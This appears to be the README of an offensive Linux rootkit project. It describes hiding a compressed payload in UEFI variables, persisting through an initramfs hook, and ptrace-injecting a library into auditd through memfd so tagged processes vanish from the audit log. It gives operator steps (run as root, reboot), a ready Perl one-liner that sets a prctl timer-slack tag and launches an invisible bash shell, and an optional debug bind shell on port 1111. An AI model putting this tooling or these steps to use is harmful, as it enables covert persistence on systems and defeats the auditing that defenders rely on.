A sample of hiding a payload in UEFI vars that persists in initramfs and then injects into auditd to make malicious processes invisible.

1. on attacker machine

   1. make
   2. copy splat to target

2. on target

   1. run splat as root
   2. reboot target
   3. use timerslack.pl to set your timerslack and become invisible to auditd

ORDER is a file in initramfs that specifies order of hooks, but in this case, runs stage1

Run to infect system. Everything needed for infection is included:

• stage1
• stage2
  • payload

Clobbers the fprintf symbol and keeps your tagged processes out of the audit log.

1. Fixup registers due to internal libc dlopen required 16byte aligned stack entry.
2. call glibc's __libc_dlopen_mode
3. jmp back to return value

The executable stage2.

1. survive MS_MOVE in initramfs
2. fanotify on systemd-sysctl
3. ptrace inject into autid
4. host injected.so in memfd
5. coerce auditd to dlopen() injected.so in memfd
6. exit

Takes stage2 out of UEFI var, uncompresses, jams it into memfd, and execs stage2

Gzipped stage2d executable

This code uses code adapted from https://github.com/eklitzke/ptrace-call-userspace, a fantastic bit of code from Evan Klitzke used under the ISC license.

1. ptrace auditd
2. coerce auitd to call memfd_create
3. find __libc_dlopen_mode
4. write injected.so into auditd's memfd
5. coerce auditd to call mmap
6. write payload into page returned from mmap
7. set rip to point to shellcode
8. release process

Fantastic lib from @emptymonkey. https://github.com/emptymonkey/ptrace_do

Used under terms in MIT license

Used in debugging to get a shell in the initramfs. You will need to have installed busyboxy-static package. Enable by defining EMBED_SHELL to 1 and get a local bind shell on port 1111. Note that it will no longer fit into a UEFI variable because busyboxy is gigantic. Use make install and debug_utils/install.sh infect.

Just a simple convenience function around zlib

Simple wrapper around the prtcl(PR_SET_TIMERSLACK). Scoff all you want, but chances are, perl is there when you land.

Get an operator friendly version like so:

echo "use the following:"
echo -n "echo '"
cat timerslack.pl|tr -d '\n'
echo "'|perl"

Which produces:

use the following:
echo 'require("syscall.ph");syscall(&SYS_prctl,29,50001);exec("/bin/bash");'|perl